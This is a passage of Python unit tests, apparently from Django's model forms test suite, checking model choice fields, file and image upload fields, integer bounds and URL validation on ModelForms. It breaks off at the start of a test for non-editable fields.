class ModelChoiceFieldTests(TestCase):
    def setUp(self):
        self.c1 = Category.objects.create(
            name="Entertainment", slug="entertainment", url="entertainment")
        self.c2 = Category.objects.create(
            name="It's a test", slug="its-test", url="test")
        self.c3 = Category.objects.create(
            name="Third", slug="third-test", url="third")

    # ModelChoiceField ############################################################
    def test_modelchoicefield(self):
        f = forms.ModelChoiceField(Category.objects.all())
        self.assertEqual(list(f.choices), [
            ('', '---------'),
            (self.c1.pk, 'Entertainment'),
            (self.c2.pk, "It's a test"),
            (self.c3.pk, 'Third')])
        with self.assertRaises(ValidationError):
            f.clean('')
        with self.assertRaises(ValidationError):
            f.clean(None)
        with self.assertRaises(ValidationError):
            f.clean(0)

        # Invalid types that require TypeError to be caught (#22808).
        with self.assertRaises(ValidationError):
            f.clean([['fail']])
        with self.assertRaises(ValidationError):
            f.clean([{'foo': 'bar'}])

        self.assertEqual(f.clean(self.c2.id).name, "It's a test")
        self.assertEqual(f.clean(self.c3.id).name, 'Third')

        # Add a Category object *after* the ModelChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        c4 = Category.objects.create(name='Fourth', url='4th')
        self.assertEqual(f.clean(c4.id).name, 'Fourth')

        # Delete a Category object *after* the ModelChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        Category.objects.get(url='4th').delete()
        with self.assertRaises(ValidationError):
            f.clean(c4.id)

    def test_modelchoicefield_choices(self):
        f = forms.ModelChoiceField(Category.objects.filter(pk=self.c1.id), required=False)
        self.assertIsNone(f.clean(''))
        self.assertEqual(f.clean(str(self.c1.id)).name, "Entertainment")
        with self.assertRaises(ValidationError):
            f.clean('100')

        # len can be called on choices
        self.assertEqual(len(f.choices), 2)

        # queryset can be changed after the field is created.
        f.queryset = Category.objects.exclude(name='Third')
        self.assertEqual(list(f.choices), [
            ('', '---------'),
            (self.c1.pk, 'Entertainment'),
            (self.c2.pk, "It's a test")])
        self.assertEqual(f.clean(self.c2.id).name, "It's a test")
        with self.assertRaises(ValidationError):
            f.clean(self.c3.id)

        # check that we can safely iterate choices repeatedly
        gen_one = list(f.choices)
        gen_two = f.choices
        self.assertEqual(gen_one[2], (self.c2.pk, "It's a test"))
        self.assertEqual(list(gen_two), [
            ('', '---------'),
            (self.c1.pk, 'Entertainment'),
            (self.c2.pk, "It's a test")])

        # check that we can override the label_from_instance method to print custom labels (#4620)
        f.queryset = Category.objects.all()
        f.label_from_instance = lambda obj: "category " + str(obj)
        self.assertEqual(list(f.choices), [
            ('', '---------'),
            (self.c1.pk, 'category Entertainment'),
            (self.c2.pk, "category It's a test"),
            (self.c3.pk, 'category Third')])

    def test_modelchoicefield_11183(self):
        """
        Regression test for ticket #11183.
        """
        class ModelChoiceForm(forms.Form):
            category = forms.ModelChoiceField(Category.objects.all())

        form1 = ModelChoiceForm()
        field1 = form1.fields['category']
        # To allow the widget to change the queryset of field1.widget.choices correctly,
        # without affecting other forms, the following must hold:
        self.assertIsNot(field1, ModelChoiceForm.base_fields['category'])
        self.assertIs(field1.widget.choices.field, field1)

    def test_modelchoicefield_22745(self):
        """
        #22745 -- Make sure that ModelChoiceField with RadioSelect widget
        doesn't produce unnecessary db queries when accessing its BoundField's
        attrs.
        """
        class ModelChoiceForm(forms.Form):
            category = forms.ModelChoiceField(Category.objects.all(), widget=forms.RadioSelect)

        form = ModelChoiceForm()
        field = form['category']  # BoundField
        template = Template('{{ field.name }}{{ field }}{{ field.help_text }}')
        with self.assertNumQueries(1):
            template.render(Context({'field': field}))

    def test_modelchoicefield_index_renderer(self):
        field = forms.ModelChoiceField(Category.objects.all(), widget=forms.RadioSelect)
        self.assertEqual(
            str(field.widget.get_renderer('foo', [])[0]),
            '<label><input name="foo" type="radio" value="" /> ---------</label>'
        )

    def test_disabled_modelchoicefield(self):
        class ModelChoiceForm(forms.ModelForm):
            author = forms.ModelChoiceField(Author.objects.all(), disabled=True)

            class Meta:
                model = Book
                fields = ['author']

        book = Book.objects.create(author=Writer.objects.create(name='Test writer'))
        form = ModelChoiceForm({}, instance=book)
        self.assertEqual(
            form.errors['author'],
            ['Select a valid choice. That choice is not one of the available choices.']
        )

    def test_disabled_multiplemodelchoicefield(self):
        class ArticleForm(forms.ModelForm):
            categories = forms.ModelMultipleChoiceField(Category.objects.all(), required=False)

            class Meta:
                model = Article
                fields = ['categories']

        category1 = Category.objects.create(name='cat1')
        category2 = Category.objects.create(name='cat2')
        article = Article.objects.create(
            pub_date=datetime.date(1988, 1, 4),
            writer=Writer.objects.create(name='Test writer'),
        )
        article.categories.set([category1.pk])

        form = ArticleForm(data={'categories': [category2.pk]}, instance=article)
        self.assertEqual(form.errors, {})
        self.assertEqual([x.pk for x in form.cleaned_data['categories']], [category2.pk])
        # Disabled fields use the value from `instance` rather than `data`.
        form = ArticleForm(data={'categories': [category2.pk]}, instance=article)
        form.fields['categories'].disabled = True
        self.assertEqual(form.errors, {})
        self.assertEqual([x.pk for x in form.cleaned_data['categories']], [category1.pk])

    def test_modelchoicefield_iterator(self):
        """
        Iterator defaults to ModelChoiceIterator and can be overridden with
        the iterator attribute on a ModelChoiceField subclass.
        """
        field = forms.ModelChoiceField(Category.objects.all())
        self.assertIsInstance(field.choices, ModelChoiceIterator)

        class CustomModelChoiceIterator(ModelChoiceIterator):
            pass

        class CustomModelChoiceField(forms.ModelChoiceField):
            iterator = CustomModelChoiceIterator

        field = CustomModelChoiceField(Category.objects.all())
        self.assertIsInstance(field.choices, CustomModelChoiceIterator)

    def test_modelchoicefield_num_queries(self):
        """
        Widgets that render multiple subwidgets shouldn't make more than one
        database query.
        """
        categories = Category.objects.all()

        class CategoriesForm(forms.Form):
            radio = forms.ModelChoiceField(queryset=categories, widget=forms.RadioSelect)
            checkbox = forms.ModelMultipleChoiceField(queryset=categories, widget=forms.CheckboxSelectMultiple)

        template = Template("""
            {% for widget in form.checkbox %}{{ widget }}{% endfor %}
            {% for widget in form.radio %}{{ widget }}{% endfor %}
        """)

        with self.assertNumQueries(2):
            template.render(Context({'form': CategoriesForm()}))


class ModelMultipleChoiceFieldTests(TestCase):
    def setUp(self):
        self.c1 = Category.objects.create(
            name="Entertainment", slug="entertainment", url="entertainment")
        self.c2 = Category.objects.create(
            name="It's a test", slug="its-test", url="test")
        self.c3 = Category.objects.create(
            name="Third", slug="third-test", url="third")

    def test_model_multiple_choice_field(self):
        f = forms.ModelMultipleChoiceField(Category.objects.all())
        self.assertEqual(list(f.choices), [
            (self.c1.pk, 'Entertainment'),
            (self.c2.pk, "It's a test"),
            (self.c3.pk, 'Third')])
        with self.assertRaises(ValidationError):
            f.clean(None)
        with self.assertRaises(ValidationError):
            f.clean([])
        self.assertQuerysetEqual(f.clean([self.c1.id]), ["Entertainment"])
        self.assertQuerysetEqual(f.clean([self.c2.id]), ["It's a test"])
        self.assertQuerysetEqual(f.clean([str(self.c1.id)]), ["Entertainment"])
        self.assertQuerysetEqual(
            f.clean([str(self.c1.id), str(self.c2.id)]),
            ["Entertainment", "It's a test"], ordered=False
        )
        self.assertQuerysetEqual(
            f.clean([self.c1.id, str(self.c2.id)]),
            ["Entertainment", "It's a test"], ordered=False
        )
        self.assertQuerysetEqual(
            f.clean((self.c1.id, str(self.c2.id))),
            ["Entertainment", "It's a test"], ordered=False
        )
        with self.assertRaises(ValidationError):
            f.clean(['100'])
        with self.assertRaises(ValidationError):
            f.clean('hello')
        with self.assertRaises(ValidationError):
            f.clean(['fail'])

        # Invalid types that require TypeError to be caught (#22808).
        with self.assertRaises(ValidationError):
            f.clean([['fail']])
        with self.assertRaises(ValidationError):
            f.clean([{'foo': 'bar'}])

        # Add a Category object *after* the ModelMultipleChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        # Note, we are using an id of 1006 here since tests that run before
        # this may create categories with primary keys up to 6. Use
        # a number that will not conflict.
        c6 = Category.objects.create(id=1006, name='Sixth', url='6th')
        self.assertQuerysetEqual(f.clean([c6.id]), ["Sixth"])

        # Delete a Category object *after* the ModelMultipleChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        Category.objects.get(url='6th').delete()
        with self.assertRaises(ValidationError):
            f.clean([c6.id])

    def test_model_multiple_choice_required_false(self):
        f = forms.ModelMultipleChoiceField(Category.objects.all(), required=False)
        self.assertIsInstance(f.clean([]), EmptyQuerySet)
        self.assertIsInstance(f.clean(()), EmptyQuerySet)
        with self.assertRaises(ValidationError):
            f.clean(['0'])
        with self.assertRaises(ValidationError):
            f.clean([str(self.c3.id), '0'])
        with self.assertRaises(ValidationError):
            f.clean([str(self.c1.id), '0'])

        # queryset can be changed after the field is created.
        f.queryset = Category.objects.exclude(name='Third')
        self.assertEqual(list(f.choices), [
            (self.c1.pk, 'Entertainment'),
            (self.c2.pk, "It's a test")])
        self.assertQuerysetEqual(f.clean([self.c2.id]), ["It's a test"])
        with self.assertRaises(ValidationError):
            f.clean([self.c3.id])
        with self.assertRaises(ValidationError):
            f.clean([str(self.c2.id), str(self.c3.id)])

        f.queryset = Category.objects.all()
        f.label_from_instance = lambda obj: "multicategory " + str(obj)
        self.assertEqual(list(f.choices), [
            (self.c1.pk, 'multicategory Entertainment'),
            (self.c2.pk, "multicategory It's a test"),
            (self.c3.pk, 'multicategory Third')])

    def test_model_multiple_choice_number_of_queries(self):
        """
        Test that ModelMultipleChoiceField does O(1) queries instead of
        O(n) (#10156).
        """
        persons = [Writer.objects.create(name="Person %s" % i) for i in range(30)]

        f = forms.ModelMultipleChoiceField(queryset=Writer.objects.all())
        self.assertNumQueries(1, f.clean, [p.pk for p in persons[1:11:2]])

    def test_model_multiple_choice_run_validators(self):
        """
        Test that ModelMultipleChoiceField run given validators (#14144).
        """
        for i in range(30):
            Writer.objects.create(name="Person %s" % i)

        self._validator_run = False

        def my_validator(value):
            self._validator_run = True

        f = forms.ModelMultipleChoiceField(queryset=Writer.objects.all(),
                                           validators=[my_validator])

        f.clean([p.pk for p in Writer.objects.all()[8:9]])
        self.assertTrue(self._validator_run)

    def test_model_multiple_choice_show_hidden_initial(self):
        """
        Test support of show_hidden_initial by ModelMultipleChoiceField.
        """
        class WriterForm(forms.Form):
            persons = forms.ModelMultipleChoiceField(show_hidden_initial=True,
                                                     queryset=Writer.objects.all())

        person1 = Writer.objects.create(name="Person 1")
        person2 = Writer.objects.create(name="Person 2")

        form = WriterForm(initial={'persons': [person1, person2]},
                          data={'initial-persons': [str(person1.pk), str(person2.pk)],
                                'persons': [str(person1.pk), str(person2.pk)]})
        self.assertTrue(form.is_valid())
        self.assertFalse(form.has_changed())

        form = WriterForm(initial={'persons': [person1, person2]},
                          data={'initial-persons': [str(person1.pk), str(person2.pk)],
                                'persons': [str(person2.pk)]})
        self.assertTrue(form.is_valid())
        self.assertTrue(form.has_changed())

    def test_model_multiple_choice_field_22745(self):
        """
        #22745 -- Make sure that ModelMultipleChoiceField with
        CheckboxSelectMultiple widget doesn't produce unnecessary db queries
        when accessing its BoundField's attrs.
        """
        class ModelMultipleChoiceForm(forms.Form):
            categories = forms.ModelMultipleChoiceField(Category.objects.all(), widget=forms.CheckboxSelectMultiple)

        form = ModelMultipleChoiceForm()
        field = form['categories']  # BoundField
        template = Template('{{ field.name }}{{ field }}{{ field.help_text }}')
        with self.assertNumQueries(1):
            template.render(Context({'field': field}))

    def test_show_hidden_initial_changed_queries_efficiently(self):
        class WriterForm(forms.Form):
            persons = forms.ModelMultipleChoiceField(
                show_hidden_initial=True, queryset=Writer.objects.all())

        writers = (Writer.objects.create(name=str(x)) for x in range(0, 50))
        writer_pks = tuple(x.pk for x in writers)
        form = WriterForm(data={'initial-persons': writer_pks})
        with self.assertNumQueries(1):
            self.assertTrue(form.has_changed())

    def test_clean_does_deduplicate_values(self):
        class WriterForm(forms.Form):
            persons = forms.ModelMultipleChoiceField(queryset=Writer.objects.all())

        person1 = Writer.objects.create(name="Person 1")
        form = WriterForm(data={})
        queryset = form.fields['persons'].clean([str(person1.pk)] * 50)
        sql, params = queryset.query.sql_with_params()
        self.assertEqual(len(params), 1)

    def test_to_field_name_with_initial_data(self):
        class ArticleCategoriesForm(forms.ModelForm):
            categories = forms.ModelMultipleChoiceField(Category.objects.all(), to_field_name='slug')

            class Meta:
                model = Article
                fields = ['categories']

        article = Article.objects.create(
            headline='Test article',
            slug='test-article',
            pub_date=datetime.date(1988, 1, 4),
            writer=Writer.objects.create(name='Test writer'),
            article='Hello.',
        )
        article.categories.add(self.c2, self.c3)
        form = ArticleCategoriesForm(instance=article)
        self.assertEqual(form['categories'].value(), [self.c2.slug, self.c3.slug])


class ModelOneToOneFieldTests(TestCase):
    def test_modelform_onetoonefield(self):
        class ImprovedArticleForm(forms.ModelForm):
            class Meta:
                model = ImprovedArticle
                fields = '__all__'

        class ImprovedArticleWithParentLinkForm(forms.ModelForm):
            class Meta:
                model = ImprovedArticleWithParentLink
                fields = '__all__'

        self.assertEqual(list(ImprovedArticleForm.base_fields), ['article'])
        self.assertEqual(list(ImprovedArticleWithParentLinkForm.base_fields), [])

    def test_modelform_subclassed_model(self):
        class BetterWriterForm(forms.ModelForm):
            class Meta:
                # BetterWriter model is a subclass of Writer with an additional `score` field
                model = BetterWriter
                fields = '__all__'

        bw = BetterWriter.objects.create(name='Joe Better', score=10)
        self.assertEqual(sorted(model_to_dict(bw)),
                         ['id', 'name', 'score', 'writer_ptr'])

        form = BetterWriterForm({'name': 'Some Name', 'score': 12})
        self.assertTrue(form.is_valid())
        bw2 = form.save()
        self.assertEqual(bw2.score, 12)

    def test_onetoonefield(self):
        class WriterProfileForm(forms.ModelForm):
            class Meta:
                # WriterProfile has a OneToOneField to Writer
                model = WriterProfile
                fields = '__all__'

        self.w_royko = Writer.objects.create(name='Mike Royko')
        self.w_woodward = Writer.objects.create(name='Bob Woodward')

        form = WriterProfileForm()
        self.assertHTMLEqual(
            form.as_p(),
            '''<p><label for="id_writer">Writer:</label> <select name="writer" id="id_writer" required>
<option value="" selected="selected">---------</option>
<option value="%s">Bob Woodward</option>
<option value="%s">Mike Royko</option>
</select></p>
<p><label for="id_age">Age:</label> <input type="number" name="age" id="id_age" min="0" required /></p>''' % (
                self.w_woodward.pk, self.w_royko.pk,
            )
        )

        data = {
            'writer': six.text_type(self.w_woodward.pk),
            'age': '65',
        }
        form = WriterProfileForm(data)
        instance = form.save()
        self.assertEqual(six.text_type(instance), 'Bob Woodward is 65')

        form = WriterProfileForm(instance=instance)
        self.assertHTMLEqual(
            form.as_p(),
            '''<p><label for="id_writer">Writer:</label> <select name="writer" id="id_writer" required>
<option value="">---------</option>
<option value="%s" selected="selected">Bob Woodward</option>
<option value="%s">Mike Royko</option>
</select></p>
<p><label for="id_age">Age:</label>
<input type="number" name="age" value="65" id="id_age" min="0" required /></p>''' % (
                self.w_woodward.pk, self.w_royko.pk,
            )
        )

    def test_assignment_of_none(self):
        class AuthorForm(forms.ModelForm):
            class Meta:
                model = Author
                fields = ['publication', 'full_name']

        publication = Publication.objects.create(title="Pravda", date_published=datetime.date(1991, 8, 22))
        author = Author.objects.create(publication=publication, full_name='John Doe')
        form = AuthorForm({'publication': '', 'full_name': 'John Doe'}, instance=author)
        self.assertTrue(form.is_valid())
        self.assertIsNone(form.cleaned_data['publication'])
        author = form.save()
        # author object returned from form still retains original publication object
        # that's why we need to retrieve it from database again
        new_author = Author.objects.get(pk=author.pk)
        self.assertIsNone(new_author.publication)

    def test_assignment_of_none_null_false(self):
        class AuthorForm(forms.ModelForm):
            class Meta:
                model = Author1
                fields = ['publication', 'full_name']

        publication = Publication.objects.create(title="Pravda", date_published=datetime.date(1991, 8, 22))
        author = Author1.objects.create(publication=publication, full_name='John Doe')
        form = AuthorForm({'publication': '', 'full_name': 'John Doe'}, instance=author)
        self.assertFalse(form.is_valid())


class FileAndImageFieldTests(TestCase):
    def test_clean_false(self):
        """
        If the ``clean`` method on a non-required FileField receives False as
        the data (meaning clear the field value), it returns False, regardless
        of the value of ``initial``.
        """
        f = forms.FileField(required=False)
        self.assertIs(f.clean(False), False)
        self.assertIs(f.clean(False, 'initial'), False)

    def test_clean_false_required(self):
        """
        If the ``clean`` method on a required FileField receives False as the
        data, it has the same effect as None: initial is returned if non-empty,
        otherwise the validation catches the lack of a required value.
        """
        f = forms.FileField(required=True)
        self.assertEqual(f.clean(False, 'initial'), 'initial')
        with self.assertRaises(ValidationError):
            f.clean(False)

    def test_full_clear(self):
        """
        Integration happy-path test that a model FileField can actually be set
        and cleared via a ModelForm.
        """
        class DocumentForm(forms.ModelForm):
            class Meta:
                model = Document
                fields = '__all__'

        form = DocumentForm()
        self.assertIn('name="myfile"', six.text_type(form))
        self.assertNotIn('myfile-clear', six.text_type(form))
        form = DocumentForm(files={'myfile': SimpleUploadedFile('something.txt', b'content')})
        self.assertTrue(form.is_valid())
        doc = form.save(commit=False)
        self.assertEqual(doc.myfile.name, 'something.txt')
        form = DocumentForm(instance=doc)
        self.assertIn('myfile-clear', six.text_type(form))
        form = DocumentForm(instance=doc, data={'myfile-clear': 'true'})
        doc = form.save(commit=False)
        self.assertFalse(doc.myfile)

    def test_clear_and_file_contradiction(self):
        """
        If the user submits a new file upload AND checks the clear checkbox,
        they get a validation error, and the bound redisplay of the form still
        includes the current file and the clear checkbox.
        """
        class DocumentForm(forms.ModelForm):
            class Meta:
                model = Document
                fields = '__all__'

        form = DocumentForm(files={'myfile': SimpleUploadedFile('something.txt', b'content')})
        self.assertTrue(form.is_valid())
        doc = form.save(commit=False)
        form = DocumentForm(instance=doc,
                            files={'myfile': SimpleUploadedFile('something.txt', b'content')},
                            data={'myfile-clear': 'true'})
        self.assertTrue(not form.is_valid())
        self.assertEqual(form.errors['myfile'],
                         ['Please either submit a file or check the clear checkbox, not both.'])
        rendered = six.text_type(form)
        self.assertIn('something.txt', rendered)
        self.assertIn('myfile-clear', rendered)

    def test_render_empty_file_field(self):
        class DocumentForm(forms.ModelForm):
            class Meta:
                model = Document
                fields = '__all__'

        doc = Document.objects.create()
        form = DocumentForm(instance=doc)
        self.assertEqual(
            str(form['myfile']),
            '<input id="id_myfile" name="myfile" type="file" />'
        )

    def test_file_field_data(self):
        # Test conditions when files is either not given or empty.
        f = TextFileForm(data={'description': 'Assistance'})
        self.assertFalse(f.is_valid())
        f = TextFileForm(data={'description': 'Assistance'}, files={})
        self.assertFalse(f.is_valid())

        # Upload a file and ensure it all works as expected.
        f = TextFileForm(
            data={'description': 'Assistance'},
            files={'file': SimpleUploadedFile('test1.txt', b'hello world')})
        self.assertTrue(f.is_valid())
        self.assertEqual(type(f.cleaned_data['file']), SimpleUploadedFile)
        instance = f.save()
        self.assertEqual(instance.file.name, 'tests/test1.txt')
        instance.file.delete()

        # If the previous file has been deleted, the file name can be reused
        f = TextFileForm(
            data={'description': 'Assistance'},
            files={'file': SimpleUploadedFile('test1.txt', b'hello world')})
        self.assertTrue(f.is_valid())
        self.assertEqual(type(f.cleaned_data['file']), SimpleUploadedFile)
        instance = f.save()
        self.assertEqual(instance.file.name, 'tests/test1.txt')

        # Check if the max_length attribute has been inherited from the model.
        f = TextFileForm(
            data={'description': 'Assistance'},
            files={'file': SimpleUploadedFile('test-maxlength.txt', b'hello world')})
        self.assertFalse(f.is_valid())

        # Edit an instance that already has the file defined in the model. This will not
        # save the file again, but leave it exactly as it is.
        f = TextFileForm(
            data={'description': 'Assistance'},
            instance=instance)
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['file'].name, 'tests/test1.txt')
        instance = f.save()
        self.assertEqual(instance.file.name, 'tests/test1.txt')

        # Delete the current file since this is not done by Django.
        instance.file.delete()

        # Override the file by uploading a new one.
        f = TextFileForm(
            data={'description': 'Assistance'},
            files={'file': SimpleUploadedFile('test2.txt', b'hello world')}, instance=instance)
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.file.name, 'tests/test2.txt')

        # Delete the current file since this is not done by Django.
        instance.file.delete()
        instance.delete()

    def test_filefield_required_false(self):
        # Test the non-required FileField
        f = TextFileForm(data={'description': 'Assistance'})
        f.fields['file'].required = False
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.file.name, '')

        f = TextFileForm(
            data={'description': 'Assistance'},
            files={'file': SimpleUploadedFile('test3.txt', b'hello world')}, instance=instance)
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.file.name, 'tests/test3.txt')

        # Instance can be edited w/out re-uploading the file and existing file should be preserved.
        f = TextFileForm(
            data={'description': 'New Description'},
            instance=instance)
        f.fields['file'].required = False
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.description, 'New Description')
        self.assertEqual(instance.file.name, 'tests/test3.txt')

        # Delete the current file since this is not done by Django.
        instance.file.delete()
        instance.delete()

    def test_custom_file_field_save(self):
        """
        Regression for #11149: save_form_data should be called only once
        """
        class CFFForm(forms.ModelForm):
            class Meta:
                model = CustomFF
                fields = '__all__'

        # It's enough that the form saves without error -- the custom save routine will
        # generate an AssertionError if it is called more than once during save.
        form = CFFForm(data={'f': None})
        form.save()

    def test_file_field_multiple_save(self):
        """
        Simulate a file upload and check how many times Model.save() gets
        called. Test for bug #639.
        """
        class PhotoForm(forms.ModelForm):
            class Meta:
                model = Photo
                fields = '__all__'

        # Grab an image for testing.
        filename = os.path.join(os.path.dirname(upath(__file__)), "test.png")
        with open(filename, "rb") as fp:
            img = fp.read()

        # Fake a POST QueryDict and FILES MultiValueDict.
        data = {'title': 'Testing'}
        files = {"image": SimpleUploadedFile('test.png', img, 'image/png')}

        form = PhotoForm(data=data, files=files)
        p = form.save()

        try:
            # Check the savecount stored on the object (see the model).
            self.assertEqual(p._savecount, 1)
        finally:
            # Delete the "uploaded" file to avoid clogging /tmp.
            p = Photo.objects.get()
            p.image.delete(save=False)

    def test_file_path_field_blank(self):
        """
        Regression test for #8842: FilePathField(blank=True)
        """
        class FPForm(forms.ModelForm):
            class Meta:
                model = FilePathModel
                fields = '__all__'

        form = FPForm()
        names = [p[1] for p in form['path'].field.choices]
        names.sort()
        self.assertEqual(names, ['---------', '__init__.py', 'models.py', 'test_uuid.py', 'tests.py'])

    @skipUnless(test_images, "Pillow not installed")
    def test_image_field(self):
        # ImageField and FileField are nearly identical, but they differ slightly when
        # it comes to validation. This specifically tests that #6302 is fixed for
        # both file fields and image fields.

        with open(os.path.join(os.path.dirname(upath(__file__)), "test.png"), 'rb') as fp:
            image_data = fp.read()
        with open(os.path.join(os.path.dirname(upath(__file__)), "test2.png"), 'rb') as fp:
            image_data2 = fp.read()

        f = ImageFileForm(
            data={'description': 'An image'},
            files={'image': SimpleUploadedFile('test.png', image_data)})
        self.assertTrue(f.is_valid())
        self.assertEqual(type(f.cleaned_data['image']), SimpleUploadedFile)
        instance = f.save()
        self.assertEqual(instance.image.name, 'tests/test.png')
        self.assertEqual(instance.width, 16)
        self.assertEqual(instance.height, 16)

        # Delete the current file since this is not done by Django, but don't save
        # because the dimension fields are not null=True.
        instance.image.delete(save=False)
        f = ImageFileForm(
            data={'description': 'An image'},
            files={'image': SimpleUploadedFile('test.png', image_data)})
        self.assertTrue(f.is_valid())
        self.assertEqual(type(f.cleaned_data['image']), SimpleUploadedFile)
        instance = f.save()
        self.assertEqual(instance.image.name, 'tests/test.png')
        self.assertEqual(instance.width, 16)
        self.assertEqual(instance.height, 16)

        # Edit an instance that already has the (required) image defined in the model. This will not
        # save the image again, but leave it exactly as it is.

        f = ImageFileForm(data={'description': 'Look, it changed'}, instance=instance)
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['image'].name, 'tests/test.png')
        instance = f.save()
        self.assertEqual(instance.image.name, 'tests/test.png')
        self.assertEqual(instance.height, 16)
        self.assertEqual(instance.width, 16)

        # Delete the current file since this is not done by Django, but don't save
        # because the dimension fields are not null=True.
        instance.image.delete(save=False)
        # Override the file by uploading a new one.

        f = ImageFileForm(
            data={'description': 'Changed it'},
            files={'image': SimpleUploadedFile('test2.png', image_data2)}, instance=instance)
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.image.name, 'tests/test2.png')
        self.assertEqual(instance.height, 32)
        self.assertEqual(instance.width, 48)

        # Delete the current file since this is not done by Django, but don't save
        # because the dimension fields are not null=True.
        instance.image.delete(save=False)
        instance.delete()

        f = ImageFileForm(
            data={'description': 'Changed it'},
            files={'image': SimpleUploadedFile('test2.png', image_data2)})
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.image.name, 'tests/test2.png')
        self.assertEqual(instance.height, 32)
        self.assertEqual(instance.width, 48)

        # Delete the current file since this is not done by Django, but don't save
        # because the dimension fields are not null=True.
        instance.image.delete(save=False)
        instance.delete()

        # Test the non-required ImageField
        # Note: In Oracle, we expect a null ImageField to return '' instead of
        # None.
        if connection.features.interprets_empty_strings_as_nulls:
            expected_null_imagefield_repr = ''
        else:
            expected_null_imagefield_repr = None

        f = OptionalImageFileForm(data={'description': 'Test'})
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.image.name, expected_null_imagefield_repr)
        self.assertIsNone(instance.width)
        self.assertIsNone(instance.height)

        f = OptionalImageFileForm(
            data={'description': 'And a final one'},
            files={'image': SimpleUploadedFile('test3.png', image_data)}, instance=instance)
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.image.name, 'tests/test3.png')
        self.assertEqual(instance.width, 16)
        self.assertEqual(instance.height, 16)

        # Editing the instance without re-uploading the image should not affect
        # the image or its width/height properties.
        f = OptionalImageFileForm(
            data={'description': 'New Description'},
            instance=instance)
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.description, 'New Description')
        self.assertEqual(instance.image.name, 'tests/test3.png')
        self.assertEqual(instance.width, 16)
        self.assertEqual(instance.height, 16)

        # Delete the current file since this is not done by Django.
        instance.image.delete()
        instance.delete()

        f = OptionalImageFileForm(
            data={'description': 'And a final one'},
            files={'image': SimpleUploadedFile('test4.png', image_data2)}
        )
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.image.name, 'tests/test4.png')
        self.assertEqual(instance.width, 48)
        self.assertEqual(instance.height, 32)
        instance.delete()
        # Test callable upload_to behavior that's dependent on the value of another field in the model
        f = ImageFileForm(
            data={'description': 'And a final one', 'path': 'foo'},
            files={'image': SimpleUploadedFile('test4.png', image_data)})
        self.assertTrue(f.is_valid())
        instance = f.save()
        self.assertEqual(instance.image.name, 'foo/test4.png')
        instance.delete()


class ModelOtherFieldTests(SimpleTestCase):
    def test_big_integer_field(self):
        bif = BigIntForm({'biggie': '-9223372036854775808'})
        self.assertTrue(bif.is_valid())
        bif = BigIntForm({'biggie': '-9223372036854775809'})
        self.assertFalse(bif.is_valid())
        self.assertEqual(
            bif.errors,
            {'biggie': ['Ensure this value is greater than or equal to -9223372036854775808.']}
        )
        bif = BigIntForm({'biggie': '9223372036854775807'})
        self.assertTrue(bif.is_valid())
        bif = BigIntForm({'biggie': '9223372036854775808'})
        self.assertFalse(bif.is_valid())
        self.assertEqual(bif.errors, {'biggie': ['Ensure this value is less than or equal to 9223372036854775807.']})

    def test_comma_separated_integer_field(self):
        class CommaSeparatedIntegerForm(forms.ModelForm):
            class Meta:
                model = CommaSeparatedInteger
                fields = '__all__'

        f = CommaSeparatedIntegerForm({'field': '1'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data, {'field': '1'})
        f = CommaSeparatedIntegerForm({'field': '12'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data, {'field': '12'})
        f = CommaSeparatedIntegerForm({'field': '1,2,3'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data, {'field': '1,2,3'})
        f = CommaSeparatedIntegerForm({'field': '10,32'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data, {'field': '10,32'})
        f = CommaSeparatedIntegerForm({'field': '1a,2'})
        self.assertEqual(f.errors, {'field': ['Enter only digits separated by commas.']})
        f = CommaSeparatedIntegerForm({'field': ',,,,'})
        self.assertEqual(f.errors, {'field': ['Enter only digits separated by commas.']})
        f = CommaSeparatedIntegerForm({'field': '1.2'})
        self.assertEqual(f.errors, {'field': ['Enter only digits separated by commas.']})
        f = CommaSeparatedIntegerForm({'field': '1,a,2'})
        self.assertEqual(f.errors, {'field': ['Enter only digits separated by commas.']})
        f = CommaSeparatedIntegerForm({'field': '1,,2'})
        self.assertEqual(f.errors, {'field': ['Enter only digits separated by commas.']})

    def test_url_on_modelform(self):
        "Check basic URL field validation on model forms"
        class HomepageForm(forms.ModelForm):
            class Meta:
                model = Homepage
                fields = '__all__'

        self.assertFalse(HomepageForm({'url': 'foo'}).is_valid())
        self.assertFalse(HomepageForm({'url': 'http://'}).is_valid())
        self.assertFalse(HomepageForm({'url': 'http://example'}).is_valid())
        self.assertFalse(HomepageForm({'url': 'http://example.'}).is_valid())
        self.assertFalse(HomepageForm({'url': 'http://com.'}).is_valid())

        self.assertTrue(HomepageForm({'url': 'http://localhost'}).is_valid())
        self.assertTrue(HomepageForm({'url': 'http://example.com'}).is_valid())
        self.assertTrue(HomepageForm({'url': 'http://www.example.com'}).is_valid())
        self.assertTrue(HomepageForm({'url': 'http://www.example.com:8000'}).is_valid())
        self.assertTrue(HomepageForm({'url': 'http://www.example.com/test'}).is_valid())
        self.assertTrue(HomepageForm({'url': 'http://www.example.com:8000/test'}).is_valid())
        self.assertTrue(HomepageForm({'url': 'http://example.com/foo/bar'}).is_valid())

    def test_modelform_non_editable_field(self):
        """
        When explicitly including a non-editable field in a ModelForm, the
        error message should be explicit.
        """
